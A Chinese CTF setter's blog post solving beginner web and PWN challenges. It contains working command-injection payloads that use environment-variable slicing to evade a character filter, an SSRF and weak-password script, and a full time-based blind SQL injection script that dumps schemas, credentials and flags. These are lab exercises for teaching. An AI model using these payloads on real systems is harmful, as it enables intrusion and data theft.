XPCTF@HUT 出题笔记

给大二出了点简单题玩玩。感觉做得还彳亍,有点意思。

Web-你在扫尼玛的东方明珠塔扫呢你

本题主要考察 shell 命令执行的一些小技巧,偏简单题。给出了题目附件 flag.sh:

1
2
3
4
5
6
7
#!/usr/bin/env bash
echo $FLAG > /flag

export FLAG=not_flag
FLAG=not_flag

apache2-foreground

这里主要是提示 flag 在 /flag 以及提示环境变量中有 FLAG 可以用

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
* Author: Du1L0v3
* Description: 就这?李在嗦泥🐎呢,真是麻雀啄🐂丁丁,雀食牛逼
*/
error_reporting(0);
highlight_file(__FILE__);
$cnm = file_get_contents("/flag.sh");
$nmsl = str_replace("apache2-foreground", "", $cnm);
shell_exec($nmsl);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if(!preg_match('/\x09|\x0a|[a-z]| |BASH|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|~|\!|\=|\^|\*|#|%|\>|\<|\'|\"|\`|_|\,/', $url)) {
$res = shell_exec("bash -c 'ping " . $url . " -c 1'");
if (strstr($res, "flag") || strstr($res, "xpctf")) {
die("why you so vegetable");
} else {
die($res);
}
} else {
die("you want to do what?");
}
} else {
die("wai bi ba bo");
}

主要需要考虑如何去闭合 bash -c 'ping " . $url . " -c 1' 以及闭合之后如何绕过 WAF 执行命令

首先不考虑存在 WAF 可以轻松构造出:url=127.0.0.1|ls%26ping 127.0.0.1(& 需要 urlencode 为 %26)

这样构造就使两头闭合,从而可以在中间执行任意命令:

1
ping 127.0.0.1 | ls & ping 127.0.0.1 -c 1

但是我们的小写字母被过滤了,不过大写字母和数字没有被过滤,所以可以尝试利用环境变量截取关键字符来拼接命令:(因为输出如果有 flag 或者 xpctf 字符串就会过滤,所以我们需要用 base64 输出,也可以用 rev)

1
2
3
4
5
6
空格: $IFS$9
/: ${PATH:0:1}
/bin/ls: ${PATH:0:1}${PATH:12:3}${PATH:0:1}${PATH:5:1}${PATH:2:1}
/usr/bin/base64: ${PATH:0:5}${PATH:12:3}${PATH:0:1}${PATH:12:1}???64
/bin/cat: ${PATH:0:1}${PATH:12:3}${PATH:0:1}?${FLAG:6:1}${FLAG:2:1}
/flag: ${PATH:0:1}${FLAG:4:4}

拼接得到:

1
2
3
4
ls / | base64
127.0.0.1|${PATH:0:1}${PATH:12:3}${PATH:0:1}${PATH:5:1}${PATH:2:1}$IFS$9${PATH:0:1}|${PATH:0:5}${PATH:12:3}${PATH:0:1}${PATH:12:1}???64%26${PATH:0:1}${PATH:12:3}${PATH:0:1}?${PATH:13:2}${FLAG:7:1}$IFS$9127.0.0.1
cat /flag | base64
127.0.0.1|${PATH:0:1}${PATH:12:3}${PATH:0:1}?${FLAG:6:1}${FLAG:2:1}$IFS$9${PATH:0:1}${FLAG:4:4}|${PATH:0:5}${PATH:12:3}${PATH:0:1}${PATH:12:1}???64%26${PATH:0:1}${PATH:12:3}${PATH:0:1}?${PATH:13:2}${FLAG:7:1}$IFS$9127.0.0.1

才发现不要构造 ping 闭合后面的,我是傻逼。。

可以适当做一下拓展,把 WAF 稍微换一下:

1
preg_match('/\x09|\x0a|[a-z]|[0-9]| |FLAG|HOME|PWD|PATH|MAIL|LANG|BASH|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|HOSTNAME|EUID|LANG|LESSOPEN|LINES|OLD|MACHTYPE|PPID|SHLVL|FUNCNAME|OPTIND|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|#|%|\>|\<|\'|\"|\`|_|\,/', $url)

也没啥,就把数字过滤了,再加上过滤了点前面用到的啥 PATH、FLAG。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
OPTERR=1
HOSTTYPE=x86_64
UID=1001
TERM=
EUID=0
ID=0
OSTYPE=linux-gnu
LOGNAME=root
SHELL=/sbin/nologin
SHELLOPTS=braceexpand:hashall:interactive-comments:posix

$OPTERR = 1
${UID:$OPTERR:$OPTERR} = 0
${HOSTTYPE:$OPTERR:OPTERR} = 8

空格 -> ${IFS}
/ -> ${SHELL::$OPTERR}
l -> ${OSTYPE::$OPTERR}
i -> ${OSTYPE:$OPTERR:$OPTERR}
d -> ${TERM::$OPTERR}
u -> ${OSTYPE:~A:$OPTERR}
1
0
8
4 -> ${HOSTTYPE:~A:$OPTERR}
x
r -> ${LOGNAME::$OPTERR}
n -> ${SHELL:~A:$OPTERR}
b -> ${SHELLOPTS::$OPTERR}
s -> ${HISTCONTROL:~A:$OPTERR}
t -> ${LOGNAME:~A:$OPTERR}

1.1 -> $OPTERR.$OPTER
/bin/ -> /?i?/ -> ${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}
/bin/dir -> /?i?/di? -> ${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${TERM::$OPTERR}${OSTYPE:$OPTERR:$OPTERR}?
/usr/bin/ -> /u??/?i?/ -> ${SHELL::$OPTERR}${OSTYPE:~A:$OPTERR}??${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}
/usr/bin/base64 -> /usr/bin/b?s??4 -> ${SHELL::$OPTERR}${OSTYPE:~A:$OPTERR}??${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${SHELLOPTS::$OPTERR}????${HOSTTYPE:~A:$OPTERR}
/bin/tac -> /?i?/t?? -> ${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${LOGNAME:~A:$OPTERR}??
/bin/nl -> ${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${SHELL:~A:$OPTERR}${OSTYPE::$OPTERR}

因为没了数字,所以没办法用 127.0.0.1 了。。可以随便糊弄个 1.1,简单构造一波:

1
2
3
4
/bin/dir / | base64
$OPTERR.$OPTERR|${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${TERM::$OPTERR}${OSTYPE:$OPTERR:$OPTERR}?${IFS}${SHELL::$OPTERR}|${SHELL::$OPTERR}${OSTYPE:~A:$OPTERR}??${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${SHELLOPTS::$OPTERR}????${HOSTTYPE:~A:$OPTERR}%26
/bin/nl /flag | base64
$OPTERR.$OPTERR|${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${SHELL:~A:$OPTERR}${OSTYPE::$OPTERR}${IFS}${SHELL::$OPTERR}?${OSTYPE::$OPTERR}??|${SHELL::$OPTERR}${OSTYPE:~A:$OPTERR}??${SHELL::$OPTERR}?${OSTYPE:$OPTERR:$OPTERR}?${SHELL::$OPTERR}${SHELLOPTS::$OPTERR}????${HOSTTYPE:~A:$OPTERR}%26

Web-重生之我是赌圣

考察写脚本的能力,考点:

  • ssrf + 弱密码
  • 利用赌场Cookie存储漏洞

直接贴脚本吧,这题是最简单的了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://b8a1bad7-9300-453d-88e2-ce7a5684cf65.node.oj.huts.ec/"
conn = requests.get(url=url + "index.php?url=http://127.0.0.1/login.php?username=admin%26password=admin")
if conn.status_code == 200:
print("/var/www/html/fuck_chutiren.txt")
conn = requests.post(url=url + "main.php")
cook = conn.cookies
while True:
conn = requests.post(url=url + "main.php", cookies=cook)
if "xpctf{" in conn.text:
print("险胜")
print(conn.text)
break
elif "恭喜" in conn.text:
print("芜湖")
print(conn.cookies['num'])
# print(conn.text)
cook = conn.cookies
continue

Web-👴如何花忒奶奶的一天逃离监狱

这题挺有意思的,本来是源自我和室友一起写的一个学习项目——“监狱管理系统”,不过👴偷偷在注册的后端溜了一个无伤大雅的小洞,一开始自己测试的时候是一直在尝试报错注入,然后写入文件读取,然后一直失败,最后去找了谭总聊了下,发现还是思维局限了,一直想着要报错写文件,忘了可以时间盲注,脑子卡了卡了。后面和🍋聊天的时候,🍋说了句贼有道理的话:“你总不能让别人一边写入数据一边导出数据吧”,最后就放弃了傻逼报错注入,顺带设了个小坑,将我报错注入测试中用过的 payload 放到了 robots.txt 里面,不过也提示了后面的双注入。

直接贴脚本好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import requests
import datetime
import random
import string

url = "http://7390941e-b2b7-485b-9c3c-caa29a3f2c6b.node.oj.huts.ec/man/register"
data = {
"username": "",
"password": ""
}
payload_length = {
"database": "0' or (case when (length((select database()))=%d) then sleep(1.8) else 1 end)) #",
"user": "0' or (case when (length((select user()))=%d) then sleep(1.8) else 1 end)) #",
"version": "0' or (case when (length((select version()))=%d) then sleep(1.8) else 1 end)) #"
}
payload_data = {
"database": "0' or (case when (ascii(substr((select database()),%d,1))<%d) then sleep(1.8) else 1 end)) #",
"user": "0' or (case when (ascii(substr((select user()),%d,1))<%d) then sleep(1.8) else 1 end)) #",
"version": "0' or (case when (ascii(substr((select version()),%d,1))<%d) then sleep(1.8) else 1 end)) #",
"schemata0": "0' or (case when (ascii(substr((select concat(schema_name) from information_schema.schemata limit 0,"
"1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"schemata1": "0' or (case when (ascii(substr((select concat(schema_name) from information_schema.schemata limit 1,"
"1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"schemata2": "0' or (case when (ascii(substr((select concat(schema_name) from information_schema.schemata limit 2,"
"1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"schemata3": "0' or (case when (ascii(substr((select concat(schema_name) from information_schema.schemata limit 3,"
"1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"schemata4": "0' or (case when (ascii(substr((select concat(schema_name) from information_schema.schemata limit 4,"
"1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"schemata5": "0' or (case when (ascii(substr((select concat(schema_name) from information_schema.schemata limit 5,"
"1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"tables0": "0' or (case when (ascii(substr((select concat(table_name) from information_schema.tables where "
"table_schema=database() limit 0, 1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"tables1": "0' or (case when (ascii(substr((select concat(table_name) from information_schema.tables where "
"table_schema=database() limit 1, 1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"columns0_users": "0' or (case when (ascii(substr((select concat(column_name) from information_schema.columns "
"where table_name='users' limit 0, 1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"columns1_users": "0' or (case when (ascii(substr((select concat(column_name) from information_schema.columns "
"where table_name='users' limit 1, 1),%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"columns0_flags": "0' or (case when (ascii(substr((select concat(column_name) from information_schema.columns "
"where table_name='usfffffffffffffffffffflllllllllllaaaaaaaaaaaaaaggggggggggggg' limit 0, 1),"
"%d, 1))<%d) then sleep(1.8) else 1 end)) #",
"users_username_password_0": "0' or (case when (ascii(substr((select concat_ws(':',username,password) from ("
"select * from users)a limit 0, 1), %d, 1))<%d) then sleep(1.8) else 1 end)) #",
"users_username_password_1": "0' or (case when (ascii(substr((select concat_ws(':',username,password) from ("
"select * from users)a limit 1, 1), %d, 1))<%d) then sleep(1.8) else 1 end)) #",
"users_username_password_2": "0' or (case when (ascii(substr((select concat_ws(':',username,password) from ("
"select * from users)a limit 2, 1), %d, 1))<%d) then sleep(1.8) else 1 end)) #",
"users_username_password_3": "0' or (case when (ascii(substr((select concat_ws(':',username,password) from ("
"select * from users)a limit 3, 1), %d, 1))<%d) then sleep(1.8) else 1 end)) #",
"users_username_password_4": "0' or (case when (ascii(substr((select concat_ws(':',username,password) from ("
"select * from users)a limit 4, 1), %d, 1))<%d) then sleep(1.8) else 1 end)) #",
"users_username_password_5": "0' or (case when (ascii(substr((select concat_ws(':',username,password) from ("
"select * from users)a limit 5, 1), %d, 1))<%d) then sleep(1.8) else 1 end)) #",
"flags_flag": "0' or (case when (ascii(substr((select flag from "
"`usfffffffffffffffffffflllllllllllaaaaaaaaaaaaaaggggggggggggg` limit 0, 1), %d, 1))<%d) then "
"sleep(1.8) else 1 end)) #",
}


def get_random_username():
return ''.join(random.sample(string.ascii_letters + string.digits, 16))


def get_length(wh):
i = 0
for i in range(0, 30):
time1 = datetime.datetime.now()
data['username'] = get_random_username()
data['password'] = payload_length[wh] % i
conn = requests.post(url, data=data)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
break
print("fuck " + wh + " length " + str(i) + " failed")
print("length for " + wh + ": " + str(i))


def get_data(wh):
name = ''
for j in range(1, 150):
new = get_char(j, wh)
if new is None:
break
name += new
print(name)
print("data for " + wh + ": " + name)


def get_char(index, wh):
minx = 32
maxx = 127
a = 0
while minx < maxx:
i = (minx + maxx) // 2
if a == i:
return chr(i)
data["username"] = get_random_username()
data["password"] = payload_data[wh] % (index, i)
t1 = datetime.datetime.now()
conn = requests.post(url, data=data)
t2 = datetime.datetime.now()
sec = (t2 - t1).seconds
if sec < 1:
minx = i
else:
maxx = i
a = i


if __name__ == "__main__":
# 响应超时导致返回不对很正常,多搞几次吧,大概插入 800+ 行就会恶疾频发,重启靶机吧
# get_length("database")
# database: 17
# user: 15
# version: 6
get_data("flags_flag")
# database: fiveonefivemanage
# user: admin@localhost
# version: 5.7.26
# schemata0: information_schema
# schemata1: fiveonefivemanage
# schemata2:mysql
# schemata3:performance_schema
# schemata4:sys
# tables0: users
# tables1: usfffffffffffffffffffflllllllllllaaaaaaaaaaaaaaggggggggggggg
# columns0_users: username
# columns1_users: password
# columns0_flags:flag
# users_username_password_0:
# users_username_password_1:
# users_username_password_2:
# users_username_password_3:
# users_username_password_4:
# users_username_password_5:
# flags_flag:

谭总:“你搁这养蛊呢,自己日自己的项目。”,怎么说呢,还是很有意思,彳亍,(各位师傅别打我,我就一人畜无害的出题人,溜了溜了)

PWN-有手就行的 ez_nc

这题签到,怎么说呢,应该不会有人找不到 flag 吧🤭(嘻嘻.jpg)

cat /bin/tac 即可获得 flag(提示也说明了,cat 反过来,不就是 tac 嘛

贴一下 start.sh 吧,我的得意之作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/sh
# Add your startup script

# DO NOT DELETE

mkdir -p /home/ctf/tmp
mkdir -p /home/ctf/mnt
echo `date +%s | sha256sum | base64 | head -c 32 ; echo` > /home/ctf/tmp/1.txt
sleep 1
echo `date +%s | sha256sum | base64 | head -c 32 ; echo` > /home/ctf/tmp/2.txt
sleep 1
echo `date +%s | sha256sum | base64 | head -c 32 ; echo` > /home/ctf/tmp/3.txt
echo "/mnt/c/`cat /home/ctf/tmp/1.txt`/d/`cat /home/ctf/tmp/2.txt`/e/`cat /home/ctf/tmp/3.txt`/" > /home/ctf/tmp/1.exe
mkdir -p /home/ctf`cat /home/ctf/tmp/1.exe`
echo "gong xi ni!!!!!!bu there is no flag!!!xpctf{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}" > /home/ctf`cat /home/ctf/tmp/1.exe`/flag

echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/flag
echo "but this is a fake flag" >> /home/ctf/flag

rm -rf /home/ctf/tmp/*

for i in `seq 1000`
do
mkdir -p /home/ctf/tmp/$i/
echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/tmp/$i/flag
mkdir -p /home/ctf/etc/$i/
echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/etc/$i/flag.txt
mkdir -p /home/ctf/mnt/$i/
echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/mnt/$i/flag.exe
mkdir -p /home/ctf/mnt/c/$i/
echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/mnt/c/$i/flag.list
mkdir -p /home/ctf/mnt/c/d/e/f/h/i/$i/
echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/mnt/c/d/e/f/h/i/flag.source
mkdir -p /home/ctf/mnt/`echo 'c'+$i`/
echo "xpctf{12345678-90ab-cdef-ghij-klmnopqrstuv}" > /home/ctf/mnt/`echo 'c'+$i`/flag.dui
done

echo $FLAG > /home/ctf/bin/tac
echo "I am so soooooooooooooooooooooooooooooooorry to zhe mo you so jiu~~~~~flag give you~o" >> /home/ctf/bin/tac

echo "xpctf{flag_Du1L0v3lOVeYou}" > /home/ctf/etc/passwd

echo "hint: sha bi cai hui xin you hint, qian dao ti ye xiang yao hint? guai guai zhao bei, xi xi xi, but my cat is a little tiao pi, he like reverse" > /home/ctf/hint.txt

# start ctf-xinetd
/etc/init.d/xinetd start;
trap : TERM INT;
sleep infinity & wait\

真的溜了 (0√0)